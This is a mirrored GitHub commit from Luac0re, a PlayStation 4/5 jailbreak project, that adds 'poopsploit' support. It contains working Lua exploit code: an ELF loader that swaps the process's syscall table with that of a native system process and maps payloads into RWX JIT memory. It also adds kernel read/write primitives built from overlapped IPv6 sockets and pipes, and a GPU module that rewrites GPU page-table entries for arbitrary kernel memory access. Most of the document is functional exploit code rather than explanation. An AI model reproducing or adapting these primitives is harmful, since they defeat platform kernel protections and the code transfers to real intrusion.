mirror of
https://github.com/Gezine/Luac0re.git
synced 2026-10-18 23:07:31 -05:00
Fix bugs and add poopsploit support
This commit is contained in:
1 parent
64bda1b2fc
commit
7e886e8182
12 files changed
+2079
-6
No files matched your search
@@ -13,6 +13,7 @@ Luac0re is a [mast1c0re](https://cturt.github.io/mast1c0re.html) variation that
|
||||
|
||||
- PS4 or PS5 console
|
||||
- Disc or digital version of *Star Wars Racer Revenge* USA (CUSA03474) or EU (CUSA03492) region
|
||||
- Poopsploit payload requires 12.00 or lower firmware PS5
|
||||
|
||||
## Usage
|
||||
|
||||
@@ -30,6 +31,8 @@ Luac0re is a [mast1c0re](https://cturt.github.io/mast1c0re.html) variation that
|
||||
* **[ChampionLeake](https://github.com/ChampionLeake)** - PS2 *Star Wars Racer Revenge* exploit writeup on [psdevwiki](https://www.psdevwiki.com/ps2/Vulnerabilities)
|
||||
* **[shahrilnet](https://github.com/shahrilnet) & [null_ptr](https://github.com/n0llptr)** - Code references from [remote_lua_loader](https://github.com/shahrilnet/remote_lua_loader)
|
||||
* **[Dr.Yenyen](https://github.com/DrYenyen)** - Testing and validation
|
||||
* **[TheFlow](https://github.com/theofficialflow)** - Original netcontrol kernel exploit
|
||||
* **[egycnq](https://github.com/egycnq)** - Porting netcontrol kernel exploit to Luac0re
|
||||
|
||||
## Disclaimer
|
||||
|
||||
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,364 @@
|
||||
local MAPPING_ADDR = 0x926100000
|
||||
local SHADOW_MAPPING_ADDR = 0x920100000
|
||||
|
||||
local PROT_RW = 0x3
|
||||
local PROT_RWX = 0x7
|
||||
local MAP_SHARED_FIXED = 0x11
|
||||
local MAP_ANON_PRIVATE_FIXED = 0x1012
|
||||
|
||||
local IPPROTO_IPV6 = 41
|
||||
local IPV6_PKTINFO = 46
|
||||
local IPV6_2292PKTOPTIONS = 25
|
||||
local IPV6_TCLASS = 61
|
||||
local AF_INET6 = 28
|
||||
local SOCK_DGRAM = 2
|
||||
local IPPROTO_UDP = 17
|
||||
|
||||
-- error handling
|
||||
|
||||
local function fail(msg)
|
||||
ulog("[elf] ERROR: " .. msg)
|
||||
send_notification(msg)
|
||||
return nil
|
||||
end
|
||||
|
||||
-- helpers
|
||||
|
||||
local function get_ofiles()
|
||||
local p_fd = kread64(curproc + OFF.PROC_FD)
|
||||
local tbl = kread64(p_fd + OFF.FILEDESC_OFILES)
|
||||
return tbl + OFF.FDESCENTTBL_HDR
|
||||
end
|
||||
|
||||
local function fd_to_fp(ofiles, fd)
|
||||
return kread64(ofiles + fd * OFF.FILEDESCENT_SIZE)
|
||||
end
|
||||
|
||||
local function read_procname(proc, comm_off)
|
||||
local buf = malloc(32)
|
||||
kread(buf, proc + comm_off, 32)
|
||||
local name = ""
|
||||
for i = 0, 31 do
|
||||
local ch = read8(buf + i)
|
||||
if ch == 0 then break end
|
||||
if ch < 0x20 or ch > 0x7E then return "" end
|
||||
name = name .. string.char(ch)
|
||||
end
|
||||
return name
|
||||
end
|
||||
|
||||
-- proc offset discovery
|
||||
|
||||
local function find_proc_offsets()
|
||||
local buf = malloc(0x1000)
|
||||
kread(buf, curproc, 0x1000)
|
||||
|
||||
local sysent_off
|
||||
for i = 0, 0x1000 - 8 do
|
||||
if read64(buf + i) == 0x7FFFFFFFFFFFFFFF then
|
||||
sysent_off = i - 0x10
|
||||
break
|
||||
end
|
||||
end
|
||||
if not sysent_off or sysent_off < 0 then
|
||||
return fail("PROC_SYSENT not found")
|
||||
end
|
||||
|
||||
local comm_off
|
||||
for i = 0, 0x1000 - 6 do
|
||||
if read8(buf + i) == 0xCE and read8(buf + i+1) == 0xFA
|
||||
and read8(buf + i+2) == 0xEF and read8(buf + i+3) == 0xBE
|
||||
and read8(buf + i+4) == 0xCC and read8(buf + i+5) == 0xBB then
|
||||
comm_off = i + 8
|
||||
break
|
||||
end
|
||||
end
|
||||
if not comm_off then
|
||||
return fail("PROC_COMM not found")
|
||||
end
|
||||
|
||||
return sysent_off, comm_off
|
||||
end
|
||||
|
||||
-- sysent swap
|
||||
|
||||
local function find_native_process(comm_off)
|
||||
local names = { "SceGameLiveStreaming", "SceRedisServer", "SceSysAvControl" }
|
||||
local p = kread64(gpu.data_base + OFF.ALLPROC)
|
||||
|
||||
while p ~= 0 and (p >> 48) == 0xFFFF do
|
||||
local name = read_procname(p, comm_off)
|
||||
for _, target in ipairs(names) do
|
||||
if name == target then return p, name end
|
||||
end
|
||||
p = kread64(p)
|
||||
end
|
||||
return fail("no native PS5 process found")
|
||||
end
|
||||
|
||||
local function swap_sysent(sysent_off, target_proc)
|
||||
local our = kread64(curproc + sysent_off)
|
||||
local their = kread64(target_proc + sysent_off)
|
||||
|
||||
local saved = {
|
||||
sv_size = kread32(our),
|
||||
sv_table = kread64(our + 0x8),
|
||||
sysent = our,
|
||||
}
|
||||
|
||||
kwrite32(our, kread32(their))
|
||||
kwrite64(our + 0x8, kread64(their + 0x8))
|
||||
return saved
|
||||
end
|
||||
|
||||
local function restore_sysent(saved)
|
||||
kwrite32(saved.sysent, saved.sv_size)
|
||||
kwrite64(saved.sysent + 0x8, saved.sv_table)
|
||||
end
|
||||
|
||||
-- ELF loader
|
||||
|
||||
local function load_elf(path)
|
||||
local fd = syscall.open(path, 0, 0)
|
||||
if fd < 0 then return nil end
|
||||
|
||||
local size = syscall.lseek(fd, 0, 2)
|
||||
syscall.lseek(fd, 0, 0)
|
||||
|
||||
local store = malloc(size)
|
||||
syscall.read(fd, store, size)
|
||||
syscall.close(fd)
|
||||
|
||||
if read32(store) ~= 0x464C457F then return nil end
|
||||
return store
|
||||
end
|
||||
|
||||
local function map_elf(store)
|
||||
local e_entry = read64(store + 0x18)
|
||||
local e_phoff = read64(store + 0x20)
|
||||
local e_shoff = read64(store + 0x28)
|
||||
local e_phnum = read16(store + 0x38)
|
||||
local e_shnum = read16(store + 0x3C)
|
||||
local exec_start, exec_end = 0, 0
|
||||
|
||||
for i = 0, e_phnum - 1 do
|
||||
local ph = store + e_phoff + i * 0x38
|
||||
local p_type = read32(ph)
|
||||
local p_flags = read32(ph + 4)
|
||||
local p_off = read64(ph + 0x08)
|
||||
local p_vaddr = read64(ph + 0x10)
|
||||
local p_filesz = read64(ph + 0x20)
|
||||
local p_memsz = read64(ph + 0x28)
|
||||
|
||||
if p_type == 1 then
|
||||
local aligned = (p_memsz + 0x3FFF) & 0xFFFFC000
|
||||
|
||||
if (p_flags & 1) == 1 then
|
||||
exec_start = p_vaddr
|
||||
exec_end = p_vaddr + p_memsz
|
||||
local eh = syscall.jitshm_create(0, aligned, PROT_RWX)
|
||||
local wh = syscall.jitshm_alias(eh, PROT_RW)
|
||||
syscall.mmap(SHADOW_MAPPING_ADDR, aligned, PROT_RW, MAP_SHARED_FIXED, wh, 0)
|
||||
if p_filesz > 0 then memcpy(SHADOW_MAPPING_ADDR, store + p_off, p_filesz) end
|
||||
if p_memsz > p_filesz then memset(SHADOW_MAPPING_ADDR + p_filesz, 0, p_memsz - p_filesz) end
|
||||
syscall.mmap(MAPPING_ADDR + p_vaddr, aligned, PROT_RWX, MAP_SHARED_FIXED, eh, 0)
|
||||
else
|
||||
syscall.mmap(MAPPING_ADDR + p_vaddr, aligned, PROT_RW, MAP_ANON_PRIVATE_FIXED, 0xFFFFFFFF, 0)
|
||||
if p_filesz > 0 then memcpy(MAPPING_ADDR + p_vaddr, store + p_off, p_filesz) end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
local reloc_count = 0
|
||||
for i = 0, e_shnum - 1 do
|
||||
local sh = store + e_shoff + i * 0x40
|
||||
if read32(sh + 4) == 4 then
|
||||
local sh_off = read64(sh + 0x18)
|
||||
local sh_size = read64(sh + 0x20)
|
||||
for j = 0, (sh_size // 0x18) - 1 do
|
||||
local r = store + sh_off + j * 0x18
|
||||
local r_offset = read64(r)
|
||||
local r_info = read64(r + 8)
|
||||
local r_addend = read64(r + 0x10)
|
||||
|
||||
if (r_info & 0xFF) == 0x08 then
|
||||
local dst = (r_offset >= exec_start and r_offset < exec_end)
|
||||
and (SHADOW_MAPPING_ADDR + r_offset)
|
||||
or (MAPPING_ADDR + r_offset)
|
||||
write64(dst, MAPPING_ADDR + r_addend)
|
||||
reloc_count = reloc_count + 1
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
return MAPPING_ADDR + e_entry, reloc_count
|
||||
end
|
||||
|
||||
-- kernel r/w primitives for the loaded ELF
|
||||
|
||||
local function create_pipe()
|
||||
local fPipe = func_wrap(dlsym(LIBKERNEL_HANDLE, "pipe"))
|
||||
local buf = malloc(8)
|
||||
|
||||
write32(buf, 0); write32(buf + 4, 0)
|
||||
local ret = fPipe(buf)
|
||||
local rfd, wfd = read32(buf), read32(buf + 4)
|
||||
if ret ~= 0 or rfd <= 0 or wfd <= 0 then
|
||||
return fail("pipe() failed")
|
||||
end
|
||||
|
||||
local fp = fd_to_fp(get_ofiles(), rfd)
|
||||
local kpipe = kread64(fp)
|
||||
if kpipe == 0 then
|
||||
return fail("kpipe is NULL")
|
||||
end
|
||||
|
||||
return rfd, wfd, kpipe
|
||||
end
|
||||
|
||||
local function create_overlapped_sockets()
|
||||
local ms = create_socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP)
|
||||
local vs = create_socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP)
|
||||
|
||||
local mbuf = malloc(24)
|
||||
write32(mbuf, 20)
|
||||
write32(mbuf + 0x04, IPPROTO_IPV6)
|
||||
write32(mbuf + 0x08, IPV6_TCLASS)
|
||||
write32(mbuf + 0x0C, 0)
|
||||
write32(mbuf + 0x10, 0)
|
||||
write32(mbuf + 0x14, 0)
|
||||
syscall.setsockopt(ms, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, mbuf, 24)
|
||||
|
||||
local vbuf = malloc(20)
|
||||
for i = 0, 4 do write32(vbuf + i * 4, 0) end
|
||||
syscall.setsockopt(vs, IPPROTO_IPV6, IPV6_PKTINFO, vbuf, 20)
|
||||
|
||||
local ofiles = get_ofiles()
|
||||
|
||||
local mso = kread64(fd_to_fp(ofiles, ms))
|
||||
local mpcb = kread64(mso + 0x18)
|
||||
local mp = kread64(mpcb + OFF.INPCB_PKTOPTS)
|
||||
|
||||
local vso = kread64(fd_to_fp(ofiles, vs))
|
||||
local vpcb = kread64(vso + 0x18)
|
||||
local vp = kread64(vpcb + OFF.INPCB_PKTOPTS)
|
||||
|
||||
if mp == 0 or vp == 0 then
|
||||
return fail("pktopts allocation failed")
|
||||
end
|
||||
|
||||
kwrite32(mso, kread32(mso) + 0x100)
|
||||
kwrite32(vso, kread32(vso) + 0x100)
|
||||
|
||||
kwrite64(mp + 0x10, vp + 0x10)
|
||||
|
||||
return ms, vs
|
||||
end
|
||||
|
||||
|
||||
function load_elfldr()
|
||||
ulog("====== elf_loader ======")
|
||||
|
||||
syscall.resolve({
|
||||
open = 0x5, lseek = 0x1DE, mmap = 0x1DD, munmap = 0x49,
|
||||
jitshm_create = 0x215, jitshm_alias = 0x216,
|
||||
})
|
||||
|
||||
local fPJ = func_wrap(dlsym(LIBKERNEL_HANDLE, "scePthreadJoin"))
|
||||
|
||||
local PROC_SYSENT, PROC_COMM = find_proc_offsets()
|
||||
if not PROC_SYSENT then return end
|
||||
|
||||
local target, tname = find_native_process(PROC_COMM)
|
||||
if not target then return end
|
||||
ulog("target: " .. tname)
|
||||
|
||||
local saved = swap_sysent(PROC_SYSENT, target)
|
||||
|
||||
local title_id = get_title_id()
|
||||
|
||||
local ok, err = pcall(function()
|
||||
local fw = tonumber(FW_VERSION)
|
||||
|
||||
if fw > 12.00 then
|
||||
error("Unsupported firmware " .. FW_VERSION)
|
||||
end
|
||||
|
||||
local elf
|
||||
if fw > 10.01 then
|
||||
elf = "elfldr_1200.elf"
|
||||
else
|
||||
elf = "elfldr_1001.elf"
|
||||
end
|
||||
|
||||
local search = {
|
||||
"/mnt/sandbox/" .. title_id .. "_000/savedata0/lua/elf_jb/" .. elf,
|
||||
"/mnt/sandbox/" .. title_id .. "_001/savedata0/lua/elf_jb/" .. elf,
|
||||
"/mnt/sandbox/" .. title_id .. "_002/savedata0/lua/elf_jb/" .. elf,
|
||||
}
|
||||
|
||||
local store, path
|
||||
for _, p in ipairs(search) do
|
||||
store = load_elf(p)
|
||||
if store then path = p; break end
|
||||
end
|
||||
if not store then fail("elfldr.elf not found"); return end
|
||||
ulog("loaded " .. path)
|
||||
|
||||
local entry, nrelocs = map_elf(store)
|
||||
ulog("entry=" .. to_hex(entry) .. " relocs=" .. nrelocs)
|
||||
|
||||
local prfd, pwfd, kpipe = create_pipe()
|
||||
if not prfd then return end
|
||||
local ofiles = get_ofiles()
|
||||
local prfp = fd_to_fp(ofiles, prfd)
|
||||
local pwfp = fd_to_fp(ofiles, pwfd)
|
||||
kwrite32(prfp + 0x28, kread32(prfp + 0x28) + 0x100)
|
||||
kwrite32(pwfp + 0x28, kread32(pwfp + 0x28) + 0x100)
|
||||
|
||||
local ms, vs = create_overlapped_sockets()
|
||||
if not ms then return end
|
||||
|
||||
local rwpipe = malloc(8)
|
||||
write32(rwpipe, prfd); write32(rwpipe + 4, pwfd)
|
||||
|
||||
local rwpair = malloc(8)
|
||||
write32(rwpair, ms); write32(rwpair + 4, vs)
|
||||
|
||||
local payloadout = malloc(4)
|
||||
write32(payloadout, 0)
|
||||
|
||||
local args = malloc(0x30)
|
||||
write64(args + 0x00, dlsym(LIBKERNEL_HANDLE, "getpid"))
|
||||
write64(args + 0x08, rwpipe)
|
||||
write64(args + 0x10, rwpair)
|
||||
write64(args + 0x18, kpipe)
|
||||
write64(args + 0x20, gpu.data_base)
|
||||
write64(args + 0x28, payloadout)
|
||||
|
||||
local th = malloc(8); write64(th, 0)
|
||||
local at = malloc(0x100)
|
||||
fAI(at); fAS(at, 0x80000)
|
||||
local ret = fPC(th, at, entry, args, "elfldr")
|
||||
fAD(at)
|
||||
if ret ~= 0 then
|
||||
fail("pthread_create failed: " .. to_hex(ret))
|
||||
return
|
||||
end
|
||||
|
||||
ulog("running...")
|
||||
fPJ(read64(th), 0)
|
||||
|
||||
ulog("payloadout=" .. to_hex(read32(payloadout)))
|
||||
end)
|
||||
|
||||
--restore_sysent(saved)
|
||||
--ulog("sysent restored")
|
||||
|
||||
if not ok then
|
||||
ulog("[elf] ERROR: " .. tostring(err))
|
||||
send_notification("elf_loader: " .. tostring(err))
|
||||
end
|
||||
ulog("====== done ======")
|
||||
end
|
||||
+5
-2
@@ -63,8 +63,8 @@ function get_dlsym_offset()
|
||||
end
|
||||
|
||||
function dlsym(handle, sym)
|
||||
if SCE_KERNEL_DLSYM == 0 then
|
||||
error("dlsym offset not available for firmware " .. (FW_VERSION or "unknown"))
|
||||
if not sceKernelDlsym then
|
||||
error("dlsym not inited")
|
||||
end
|
||||
|
||||
if type(sym) ~= "string" then
|
||||
@@ -83,6 +83,9 @@ end
|
||||
|
||||
function init_dlsym()
|
||||
assert(FW_VERSION)
|
||||
if type(sceKernelDlsym) == "function" then
|
||||
return
|
||||
end
|
||||
|
||||
local major, minor = FW_VERSION:match("(%d+)%.(%d+)")
|
||||
major = tonumber(major)
|
||||
|
||||
+481
@@ -0,0 +1,481 @@
|
||||
gpu = {}
|
||||
gpu.dmem_size = 2 * 0x100000 -- 2mb
|
||||
|
||||
|
||||
local GPU_PDE_ADDR_MASK = 0x0000FFFFFFFFFFC0
|
||||
local CPU_PHYS_MASK = 0x000FFFFFFFFFF000
|
||||
|
||||
local PROT_READ = 0x01
|
||||
local PROT_WRITE = 0x02
|
||||
local GPU_READ = 0x10
|
||||
local GPU_WRITE = 0x20
|
||||
local MAP_NO_COALESCE = 0x400000
|
||||
|
||||
local kr64, kw64, kr32, kw32
|
||||
local _dmap_base = nil
|
||||
local _data_base = nil
|
||||
local _kernel_cr3 = nil
|
||||
local _curproc = nil
|
||||
local _ulog = function() end
|
||||
|
||||
local _submit_method = nil
|
||||
local _gnm_submit = nil
|
||||
local _gnm_done = nil
|
||||
local _gpu_fd = -1
|
||||
|
||||
local _alloc_dmem_fn = nil
|
||||
local _map_dmem_fn = nil
|
||||
|
||||
-- helpers
|
||||
|
||||
local function phys_to_dmap(pa)
|
||||
return _dmap_base + pa
|
||||
end
|
||||
|
||||
local function virt_to_phys(va, cr3)
|
||||
local pml4e = kr64(phys_to_dmap(cr3) + ((va >> 39) & 0x1FF) * 8)
|
||||
if pml4e == 0 or (pml4e & 1) == 0 then return nil end
|
||||
|
||||
local pdpte = kr64(phys_to_dmap(pml4e & CPU_PHYS_MASK) + ((va >> 30) & 0x1FF) * 8)
|
||||
if pdpte == 0 or (pdpte & 1) == 0 then return nil end
|
||||
if (pdpte & 0x80) ~= 0 then
|
||||
return (pdpte & 0x000FFFFFC0000000) | (va & 0x3FFFFFFF)
|
||||
end
|
||||
|
||||
local pde = kr64(phys_to_dmap(pdpte & CPU_PHYS_MASK) + ((va >> 21) & 0x1FF) * 8)
|
||||
if pde == 0 or (pde & 1) == 0 then return nil end
|
||||
if (pde & 0x80) ~= 0 then
|
||||
return (pde & 0x000FFFFFFFE00000) | (va & 0x1FFFFF)
|
||||
end
|
||||
|
||||
local pte = kr64(phys_to_dmap(pde & CPU_PHYS_MASK) + ((va >> 12) & 0x1FF) * 8)
|
||||
if pte == 0 or (pte & 1) == 0 then return nil end
|
||||
return (pte & CPU_PHYS_MASK) | (va & 0xFFF)
|
||||
end
|
||||
|
||||
local function get_proc_cr3(proc)
|
||||
local vmspace = kr64(proc + OFF.PROC_VM_SPACE)
|
||||
if vmspace == 0 or (vmspace >> 48) ~= 0xFFFF then return nil end
|
||||
for i=1,6 do
|
||||
local val = kr64(vmspace + 0x1C8 + i * 8)
|
||||
local diff = val - vmspace
|
||||
if diff >= 0x2C0 and diff <= 0x2F0 then
|
||||
return kr64(val + OFF.PMAP_CR3)
|
||||
end
|
||||
end
|
||||
return nil
|
||||
end
|
||||
|
||||
local function get_vmid(proc)
|
||||
local vmspace = kr64(proc + OFF.PROC_VM_SPACE)
|
||||
for i=1,8 do
|
||||
local val = kr32(vmspace + 0x1D4 + i * 4)
|
||||
if val > 0 and val <= 0x10 then return val end
|
||||
end
|
||||
return nil
|
||||
end
|
||||
|
||||
local function find_data_base(proc)
|
||||
local p = proc
|
||||
for i=1,64 do
|
||||
p = kr64(p + 0x08)
|
||||
if p == 0 or (p >> 48) ~= 0xFFFF then break end
|
||||
if (p >> 32) == 0xFFFFFFFF then
|
||||
local candidate = p - OFF.ALLPROC
|
||||
if (candidate & 0xFFF) == 0 then return candidate end
|
||||
end
|
||||
end
|
||||
return nil
|
||||
end
|
||||
|
||||
-- gpu page table walk
|
||||
|
||||
local function gpu_pde_field(pde, shift)
|
||||
return (pde >> shift) & 1
|
||||
end
|
||||
|
||||
local function gpu_pde_frag(pde)
|
||||
return (pde >> 59) & 0x1F
|
||||
end
|
||||
|
||||
local function gpu_walk_pt(vmid, virt_addr)
|
||||
local gvmspace = _data_base + OFF.GVMSPACE + vmid * OFF.SIZEOF_GVMSPACE
|
||||
local pdb2_addr = kr64(gvmspace + OFF.GVMSPACE_PAGE_DIR)
|
||||
|
||||
local pml4e = kr64(pdb2_addr + ((virt_addr >> 39) & 0x1FF) * 8)
|
||||
if gpu_pde_field(pml4e, 0) ~= 1 then return nil end
|
||||
|
||||
local pdp_pa = pml4e & GPU_PDE_ADDR_MASK
|
||||
local pdpe = kr64(phys_to_dmap(pdp_pa) + ((virt_addr >> 30) & 0x1FF) * 8)
|
||||
if gpu_pde_field(pdpe, 0) ~= 1 then return nil end
|
||||
|
||||
local pd_pa = pdpe & GPU_PDE_ADDR_MASK
|
||||
local pde_idx = (virt_addr >> 21) & 0x1FF
|
||||
local pde = kr64(phys_to_dmap(pd_pa) + pde_idx * 8)
|
||||
if gpu_pde_field(pde, 0) ~= 1 then return nil end
|
||||
|
||||
if gpu_pde_field(pde, 54) == 1 then
|
||||
return phys_to_dmap(pd_pa) + pde_idx * 8, 0x200000
|
||||
end
|
||||
|
||||
local frag = gpu_pde_frag(pde)
|
||||
local offset = virt_addr & 0x1FFFFF
|
||||
local pt_pa = pde & GPU_PDE_ADDR_MASK
|
||||
local pte_idx, page_size
|
||||
|
||||
if frag == 4 then
|
||||
pte_idx = offset >> 16
|
||||
local pte = kr64(phys_to_dmap(pt_pa) + pte_idx * 8)
|
||||
if gpu_pde_field(pte, 0) == 1 and gpu_pde_field(pte, 56) == 1 then
|
||||
pte_idx = (virt_addr & 0xFFFF) >> 13
|
||||
page_size = 0x2000
|
||||
else
|
||||
page_size = 0x10000
|
||||
end
|
||||
elseif frag == 1 then
|
||||
pte_idx = offset >> 13
|
||||
page_size = 0x2000
|
||||
else
|
||||
return nil
|
||||
end
|
||||
|
||||
return phys_to_dmap(pt_pa) + pte_idx * 8, page_size
|
||||
end
|
||||
|
||||
local function get_ptb_entry(proc, va)
|
||||
local vmid = get_vmid(proc)
|
||||
if not vmid then return nil end
|
||||
local gvmspace = _data_base + OFF.GVMSPACE + vmid * OFF.SIZEOF_GVMSPACE
|
||||
local start_va = kr64(gvmspace + OFF.GVMSPACE_START_VA)
|
||||
local gvm_size = kr64(gvmspace + OFF.GVMSPACE_SIZE)
|
||||
if va < start_va or va >= start_va + gvm_size then return nil end
|
||||
return gpu_walk_pt(vmid, va - start_va)
|
||||
end
|
||||
|
||||
-- direct memory allocation
|
||||
|
||||
local function alloc_main_dmem(size, prot, flags)
|
||||
local out = malloc(8); write64(out, 0)
|
||||
local ret = _alloc_dmem_fn(size, size, 1, out)
|
||||
if ret ~= 0 then return nil end
|
||||
local phys = read64(out)
|
||||
write64(out, 0)
|
||||
local ret2 = _map_dmem_fn(out, size, prot, flags, phys, size)
|
||||
if ret2 ~= 0 then return nil end
|
||||
return read64(out), phys
|
||||
end
|
||||
|
||||
|
||||
-- pm4 command building
|
||||
|
||||
local function pm4_type3_header(opcode, count)
|
||||
return (0x02 -- shader_type=1
|
||||
| ((opcode & 0xFF) << 8)
|
||||
| (((count - 1) & 0x3FFF) << 16)
|
||||
| (0x03 << 30)) -- packet_type=3
|
||||
& 0xFFFFFFFF
|
||||
end
|
||||
|
||||
local function write_pm4_dma_to(buf, dst_va, src_va, length)
|
||||
local dma_hdr = 0x8C00C000 -- src_cache=2 src_volatile=1 dst_cache=2 dst_volatile=1 cp_sync=1
|
||||
|
||||
write32(buf + 0x00, pm4_type3_header(0x50, 6))
|
||||
write32(buf + 0x04, dma_hdr & 0xFFFFFFFF)
|
||||
write32(buf + 0x08, src_va & 0xFFFFFFFF)
|
||||
write32(buf + 0x0C, (src_va >> 32) & 0xFFFFFFFF)
|
||||
write32(buf + 0x10, dst_va & 0xFFFFFFFF)
|
||||
write32(buf + 0x14, (dst_va >> 32) & 0xFFFFFFFF)
|
||||
write32(buf + 0x18, length & 0x1FFFFF)
|
||||
return 28 -- 7 dwords
|
||||
end
|
||||
|
||||
-- gpu command submission
|
||||
|
||||
local _gnm_dcb_addr = nil
|
||||
local _gnm_dcb_size = nil
|
||||
|
||||
local function submit_via_gnm(cmd_va, cmd_size)
|
||||
write64(_gnm_dcb_addr, cmd_va)
|
||||
write32(_gnm_dcb_size, cmd_size)
|
||||
local ret = _gnm_submit(1, _gnm_dcb_addr, _gnm_dcb_size, 0, 0)
|
||||
if ret ~= 0 then return false end
|
||||
_gnm_done()
|
||||
return true
|
||||
end
|
||||
|
||||
local _ioctl_desc = nil
|
||||
local _ioctl_sub = nil
|
||||
local _ioctl_ts = nil
|
||||
|
||||
local function submit_via_ioctl(cmd_va, cmd_size)
|
||||
local dwords = cmd_size >> 2
|
||||
write64(_ioctl_desc, ((cmd_va & 0xFFFFFFFF) << 32) | 0xC0023F00)
|
||||
write64(_ioctl_desc + 8, ((dwords & 0xFFFFF) << 32) | ((cmd_va >> 32) & 0xFFFF))
|
||||
write32(_ioctl_sub, 0)
|
||||
write32(_ioctl_sub + 4, 1)
|
||||
write64(_ioctl_sub + 8, _ioctl_desc)
|
||||
syscall.ioctl(_gpu_fd, 0xC0108102, _ioctl_sub)
|
||||
syscall.nanosleep(_ioctl_ts, 0)
|
||||
return true
|
||||
end
|
||||
|
||||
local function submit_dma(dst, src, size)
|
||||
local cmd_size = write_pm4_dma_to(gpu.cmd_va, dst, src, size)
|
||||
if _submit_method == "gnm" then
|
||||
return submit_via_gnm(gpu.cmd_va, cmd_size)
|
||||
else
|
||||
return submit_via_ioctl(gpu.cmd_va, cmd_size)
|
||||
end
|
||||
end
|
||||
|
||||
-- gpu dma transfer
|
||||
|
||||
local function transfer_phys(phys_addr, size, is_write)
|
||||
local trunc = phys_addr & ~(gpu.dmem_size - 1)
|
||||
local offset = phys_addr - trunc
|
||||
|
||||
local prot_ro = PROT_READ | PROT_WRITE | GPU_READ
|
||||
local prot_rw = prot_ro | GPU_WRITE
|
||||
|
||||
syscall.mprotect(gpu.victim_va, gpu.dmem_size, prot_ro)
|
||||
kw64(gpu.victim_ptbe_va, gpu.cleared_victim_ptbe_for_ro | trunc)
|
||||
syscall.mprotect(gpu.victim_va, gpu.dmem_size, prot_rw)
|
||||
|
||||
local src, dst
|
||||
if is_write then
|
||||
src = gpu.transfer_va
|
||||
dst = gpu.victim_va + offset
|
||||
else
|
||||
src = gpu.victim_va + offset
|
||||
dst = gpu.transfer_va
|
||||
end
|
||||
submit_dma(dst, src, size)
|
||||
end
|
||||
|
||||
|
||||
-- public r/w
|
||||
|
||||
function gpu.read32(kaddr)
|
||||
local pa = virt_to_phys(kaddr, _kernel_cr3)
|
||||
if not pa then return nil end
|
||||
transfer_phys(pa, 4, false)
|
||||
return read32(gpu.transfer_va)
|
||||
end
|
||||
|
||||
function gpu.read64(kaddr)
|
||||
local pa = virt_to_phys(kaddr, _kernel_cr3)
|
||||
if not pa then return nil end
|
||||
transfer_phys(pa, 8, false)
|
||||
return read64(gpu.transfer_va)
|
||||
end
|
||||
|
||||
function gpu.write32(kaddr, val)
|
||||
local pa = virt_to_phys(kaddr, _kernel_cr3)
|
||||
if not pa then return false end
|
||||
write32(gpu.transfer_va, val)
|
||||
transfer_phys(pa, 4, true)
|
||||
return true
|
||||
end
|
||||
|
||||
function gpu.write64(kaddr, val)
|
||||
local pa = virt_to_phys(kaddr, _kernel_cr3)
|
||||
if not pa then return false end
|
||||
write64(gpu.transfer_va, val)
|
||||
transfer_phys(pa, 8, true)
|
||||
return true
|
||||
end
|
||||
|
||||
function gpu.write8(kaddr, val)
|
||||
local aligned = kaddr & 0xFFFFFFFFFFFFFFFC
|
||||
local byteoff = kaddr - aligned
|
||||
local dw = gpu.read32(aligned)
|
||||
if not dw then return false end
|
||||
dw = (dw & ~(0xFF << (byteoff * 8))) | ((val & 0xFF) << (byteoff * 8))
|
||||
return gpu.write32(aligned, dw)
|
||||
end
|
||||
|
||||
-- gpu.setup
|
||||
|
||||
function gpu.setup()
|
||||
kr64 = kread64
|
||||
kw64 = kwrite64
|
||||
kr32 = kread32
|
||||
kw32 = kwrite32
|
||||
_curproc = curproc
|
||||
_ulog = ulog or function() end
|
||||
|
||||
|
||||
syscall.resolve({open=0x5, ioctl=0x36, mprotect=0x4A, nanosleep=0xF0})
|
||||
|
||||
-- resolve dmem alloc
|
||||
local a_alloc = dlsym(LIBKERNEL_HANDLE, "sceKernelAllocateMainDirectMemory")
|
||||
local a_map = dlsym(LIBKERNEL_HANDLE, "sceKernelMapDirectMemory")
|
||||
if a_alloc == 0 or a_map == 0 then
|
||||
send_notification("[gpu] dlsym dmem failed")
|
||||
return false
|
||||
end
|
||||
_alloc_dmem_fn = func_wrap(a_alloc)
|
||||
_map_dmem_fn = func_wrap(a_map)
|
||||
|
||||
-- try gnm driver, fallback to ioctl
|
||||
_submit_method = "ioctl"
|
||||
do
|
||||
local gnm_mod = nil
|
||||
-- try to find gnm driver handle
|
||||
if find_mod_by_name then
|
||||
local ok, m = pcall(find_mod_by_name, "libSceGnmDriverForNeoMode.sprx")
|
||||
if ok and m then gnm_mod = m.handle end
|
||||
end
|
||||
if not gnm_mod and LIBSCEGNMDRIVER_HANDLE then
|
||||
gnm_mod = LIBSCEGNMDRIVER_HANDLE
|
||||
end
|
||||
if gnm_mod then
|
||||
local a1 = dlsym(gnm_mod, "sceGnmSubmitCommandBuffers")
|
||||
local a2 = dlsym(gnm_mod, "sceGnmSubmitDone")
|
||||
if a1 ~= 0 and a2 ~= 0 then
|
||||
_gnm_submit = func_wrap(a1)
|
||||
_gnm_done = func_wrap(a2)
|
||||
_submit_method = "gnm"
|
||||
_ulog("[gpu] using gnm submit")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if _submit_method == "ioctl" then
|
||||
-- open /dev/gc
|
||||
_gpu_fd = syscall.open("/dev/gc", 2, 0)
|
||||
if _gpu_fd < 0 then
|
||||
send_notification("[gpu] /dev/gc failed ("..tostring(_gpu_fd)..")")
|
||||
return false
|
||||
end
|
||||
_ulog("[gpu] using ioctl /dev/gc fd="..tostring(_gpu_fd))
|
||||
end
|
||||
|
||||
-- pre-allocate submission buffers (avoid per-call malloc leaks)
|
||||
if _submit_method == "gnm" then
|
||||
_gnm_dcb_addr = malloc(8)
|
||||
_gnm_dcb_size = malloc(4)
|
||||
else
|
||||
_ioctl_desc = malloc(16)
|
||||
_ioctl_sub = malloc(16)
|
||||
_ioctl_ts = malloc(16)
|
||||
write64(_ioctl_ts, 0); write64(_ioctl_ts + 8, 500000000)
|
||||
end
|
||||
|
||||
-- find data_base
|
||||
_data_base = find_data_base(_curproc)
|
||||
if not _data_base then
|
||||
send_notification("[gpu] data_base not found"); return false
|
||||
end
|
||||
_ulog("[gpu] data_base="..to_hex(_data_base))
